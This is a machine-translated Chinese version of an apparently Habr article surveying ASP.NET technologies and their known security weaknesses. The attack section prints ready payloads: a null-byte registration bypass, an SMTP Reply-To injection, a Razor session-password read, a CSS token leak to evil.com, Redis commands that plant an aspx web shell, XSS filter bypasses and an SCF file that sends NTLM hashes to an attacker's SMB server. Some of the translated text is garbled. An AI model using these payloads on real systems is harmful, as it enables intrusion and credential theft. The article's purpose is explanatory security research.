是否有可能入侵ASP基础架构?



正如信息安全专家所说:“他们破坏了所有人,并永远破坏了一切。” 同时,对ASP.NET的攻击是罕见的。 因此,总是对此感到非常好奇。 削减后,Rambler Group信息安全部门的专家Aleksey Morozov讲述了该技术的优缺点。

引言


如今,ASP作为创建大中型项目的工具已广受欢迎。 而且,像任何流行的解决方案一样,ASP.NET也引起外部安全研究人员,黑客和测试人员的兴趣。

本文讨论了各种版本中潜在的ASP.NET安全问题。 但是,应注意,由于相同的因素,ASP的解决方案数量远远少于相同的PHP。

与PHP不同,使用ASP通常更加复杂且成本更高(使用IIS的商业版本,即Visual Studio开发环境)。 直到最近(ASP.NET Core出现),才只能在Windows下和IIS Web服务器上使用。 部署也更加复杂。

ASPActive Server Pages )是Microsoft用于创建动态页面的技术。

描述:这项技术使创建带有以Jscript语言插入的HTML页面成为可能(非常类似于JavaScript,但是除了客户端脚本之外,它还有许多用于在Windows操作系统和ASP上插入服务器的选项)

一个例子

<% @ Language = "JScript" %><% Response.Write("Hello World!"); %> 

ASP.NET

下一轮技术开发是基于.Net框架的ASP内核的创建。 结果,ASP获得了此解决方案的所有功能,即:

  • 使用不同的编程语言(C#,Visual Basic.NET,J#和JScript .NET);
  • 与脚本技术相比,由于第一次将代码编译并放置在特殊的缓存中,然后仅在不需要费时的解析,优化的情况下执行代码,因此速度提高了;
  • 使您能够更好地捕获错误的已编译代码,从而使调试过程本身变得更加高效;
  • 缓存页面的能力;
  • 表示与业务逻辑的分离。

基于ASP.NET解决方案,已经创建了以下技术,我们将考虑这些技术。

ASP.NET Ajax是ASP.NET扩展之一,它允许您使用Ajax异步更新部分内容。

一个例子

 <asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel> 

ASP.NET Web窗体 -ASP技术的新发展,其中已经过渡到用于构建应用程序的面向组件的模型。

说明:

Web窗体模型基于三个基本概念:页面回发,视图状态和服务器控件。 发送到Web服务器并映射到ASP.NET运行时的每个HTTP请求都经历几个阶段,其中回发事件的处理处于中心阶段。 回发事件是用户期望由于处理其请求而收到的主要动作。 (例如,点击按钮)。

简而言之,有传统的控件(控件)和事件驱动的开发模型。

一个例子

视图(aspx文件)是客户端。

 <%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html> 

逻辑处理(cs文件(如果使用C#))-服务器端。

 using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } } 

ASP.NET Web API是另一个扩展,允许您创建API服务,以便更方便地进行开发以及与应用程序进行交互。

一个例子

 [HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); } 

ASP.NET MVC-技术开发的下一阶段是将业务逻辑分为MVC(模型-视图-控制器)模式的三个组件之后进行的。 还引入了剃须刀引擎,并且可以独立自定义网站的托管元素,而使用Web Forms则非常困难。

优点

  • 通过将应用程序分为模型,表示和控制器,可以简化复杂结构的管理。
  • 查看状态和服务器表单未使用。 这使得MVC平台成为需要完全控制应用程序行为的开发人员的理想选择。
  • 通过单个控制器处理Web应用程序请求的主控制器电路。 这使您可以创建支持扩展路由基础结构的应用程序。
  • 非常适合大型开发团队支持的Web应用程序。

一个例子

检视

 @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html> 

型号

 using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } } 

控制者

 using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } } 

ASP.NET核心-ASP.NET的下一个突破是跨平台的支持C#7.0。
技术领域长处弱点
Active Server Pages,ASP共同目标在运行时解释,支持“意大利面条代码”
ASP.NET Web窗体1.0 / 1.1编译过的UI,支持OOP高吞吐量,复杂的HTML,不可测试
ASP.NET Web表单2.0----
ASP.NET AjaxAjax实现不合理的复杂性,缺乏灵活性
ASP.NET Web表单3.5-4.0----
ASP.NET MVC 1.0-5.0发展模式正在完全改变。 有弹性缺乏跨平台。 无法即时编译
ASP.NET核心出现跨平台。 开源的--

ASP.NET中的身份验证


ASP.NET MVC中存在三种身份验证,它们彼此之间显着不同。

  • 无身份验证: ASP.NET身份和无内置身份验证系统;
  • 单个用户帐户:默认情况下, 项目包括ASP.NET Identity系统,该系统使您可以在应用程序内以及使用外部服务(例如google,twitter等)对用户进行授权。
  • 组织帐户:适用于各个公司和组织的网站和Web应用程序;
  • Windows身份验证:使用Windows帐户的Intranet网络的身份验证系统。



在黑客方面使用ASP.NET


像任何技术一样,ASP.NET也被黑客入侵。 下面我们将描述最受欢迎的安全性研究,不仅包括ASP本身,还包括与基础结构的结合。

CVE统计



从表中可以看出,发现的统计数据很少。 这是因为ASP.NET需要良好的知识才能对其进行详细检查。 而且与之相比,使用它的资源也要少得多。

使用空字节进行授权绕过

CVE: CVE-2011-3416
说明:可以绕过授权。

算法:

  1. 用现有的用户名注册一个新帐户;
  2. 注册时,添加空字节和其他字符(admin%0012sd);
  3. 因此,将通过唯一性检查。 将以相同的角色创建一个新的“ admin”用户,但使用新的密码。

易受攻击的代码示例

 If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “   .” + “   ”); } } 

概念验证


解决方案: .net 3.5中已修复此错误

远程调试

说明:由于ASP.NET是已编译的应用程序,因此它具有某些调试功能。 Microsoft允许您使用远程调试器来处理应用程序的调试版本。

如果此端口在Internet上是开放的并且受简单密码保护或根本没有密码,则可以选择调试器。 此外,这将使您能够在调试模式下影响应用程序。 包括拔出密码,更改逻辑,进行跟踪等。

概念验证



解决方案:使用强密码,并且不要公开该服务以进行调试。

SMTP标头注入

描述:您需要回顾一些SMTP协议规范。
常规SMTP简单消息包的示例如下所示:

 Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32  Lunch today? 

显然,在没有验证落入“ To”头中的值的情况下,可以将信件重定向到另一个收件人。 但这太简单明显了,因此验证已经在.Net级别进行了。

但是,如果引入新的Reply-To标头-答案的地址,则许多形式(例如“忘记密码”)通常会从中获取发送地址,因此,引入回车符和换行符并获得工作量就足够了。

 ... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ...      : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> 

易受攻击的代码示例:

 MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m); 

概念验证


解决方案:不要编写复杂的代码,请使用新鲜的.Net

局部视图中的RCE

说明: ASP.NET MVC术语中有两个重要概念:
视图是用户看到的视图。 如前所述,借助剃须刀或Web表单引擎,可以实现服务器端代码。
部分视图 - 部分视图 。 这是视图内容的一部分,为方便起见在单独的文件中将其取出。

必须在Partial View中有一些字段,该字段以html呈现,并且有可能输入危险负载。

负载示例:获取当前用户的密码

 @((Account.Models.User)Session[“User”].Password 

进入视图后,将执行此代码。 由于这些指令将被视为剃刀引擎。 下图显示了这种情况。

算法:

  1. 用户向控制器发出请求;
  2. 控制器渲染视图;
  3. 在视图内部,遇到了部分视图,此后再次向控制器发出请求,该控制器负责呈现部分视图;
  4. 完成的部分视图将返回到主视图,而主视图将返回给用户。



概念验证



一个简化的例子

 @{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view –   @model string @{ Layout = null; } @Model Index view –   @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); } 

概念验证



PS尝试复制失败。

CSRF和CSS注入

这些漏洞意味着与用户的互动。

CSRF(跨站点请求伪造) -跨站点请求伪造。

算法:

  1. 用户进入黑客站点;
  2. 填写表格字段;
  3. 表单中的数据代表用户及其角色发送到另一个站点;
  4. 因此,用户在没有意识到的情况下,对另一个资源执行了一些操作。

为了防止此类攻击,发明了CSRF令牌,通常,这是一个包含字符序列的字符串。

发现一个漏洞,该漏洞避开了针对CSRF的保护。 只需要使用比原始字符串少得多的字符串作为令牌。

普通令牌

 <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" /> 

脆弱令牌

 <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" /> 

通过CSS(不是XSS)窃取令牌的负载:
在截断令牌无济于事的情况下,您可以诉诸CSS-Injection攻击,该攻击使您可以从页面中窃取令牌并将其绘制在资源上。 由于此,一个真实的令牌被提供给用户,并且以该用户的名义在站点上进行了必要的请求。

加载示例

 %0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;} 

DocX中的XXE

描述: ASP.NET与其他技术一样,使用许多第三方解决方案。 在集成到ASP.NET的这些解决方案之一中,发现了XXE(XML外部实体)漏洞,其中包括xml解析器错误和连接可能包含关键数据的外部实体的能力。 在OWASP页面上阅读有关XXE的更多信息。

在这种情况下,该组件负责加载和解析docx(Microsoft World)文件。 由于任何Office文档实际上都是一组xml文件,因此分析可能会导致XXE攻击。

算法:

  1. 包装好的办公室文件;
  2. 正在引入负载;
  3. 它被打包为docx;
  4. 将其倒入服务器中进行处理,在其中使用易受攻击的组件。

概念验证



通过Redis进行RCE

描述:除了易受攻击的组件之外,ASP.NET黑客还可与易受攻击的技术结合使用。 例如,Redis RAM存储系统中存在一个长期存在的漏洞,该漏洞允许在服务器端执行任意代码。 接下来,将针对ASP来考虑这种攻击。

算法:

  1. 与Redis的连接。 它必须与Web服务器在同一服务器上运行,这一点很重要。
  2. 执行以下清单,并使用Web服务器查看结果页面,将执行任意代码。 在这种情况下,调用计算器:

 config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save 

概念验证



XSS旁路过滤器

ASP.NET具有自己的机制,可以从XSS类的攻击中过滤数据。 当您尝试传输禁止的字符或签名时,将触发以下保护:



但是,有很多方法可以解决此保护问题。 以下是其中一些:

  • EF%BC%9Cimg%20src%3Dxxx%20onerror%3D 警报(1) %EF%BC%9E
  • <-/脚本> 警报(1) ;
  • </ XSS / *-* / STYLE = xss:e / ** / xpression( 警报('XSS') )>
  • %uff1cscript%uff1e 警报('XSS') ;%uff1c /脚本%uff1e

在最新版本中,这些方法不再起作用,但是,正如已经提到的,ASP.NET技术主要是为大型项目和长期项目创建的,因此许多资源都可能受到此漏洞的影响。

Shell命令文件

描述:不久之前,与Google Chrome浏览器相关的漏洞激增,其实质是窃取用户的NTLM哈希。

算法:

1)准备一个带有scf扩展名和以下内容的文件

 [Shell] IconFile=\\***.**.*.***\icon 

ip而不是星号ip是攻击者的smb服务器的地址;

2)到达用户计算机时,甚至不需要打开该文件。 用户只需转到该文件所在的文件夹就足够了。 一旦发生这种情况,哈希数据包将被发送到SMB服务器。

3)因此,基础架构黑客攻击也可以与简单的漏洞(例如开放重定向)结合使用。

概念验证




感谢您的关注! 分享您的经验,并在本文的评论中向Alexei Morozov(aka SoolFaa )提问。

Source: https://habr.com/ru/post/zh-CN413649/


All Articles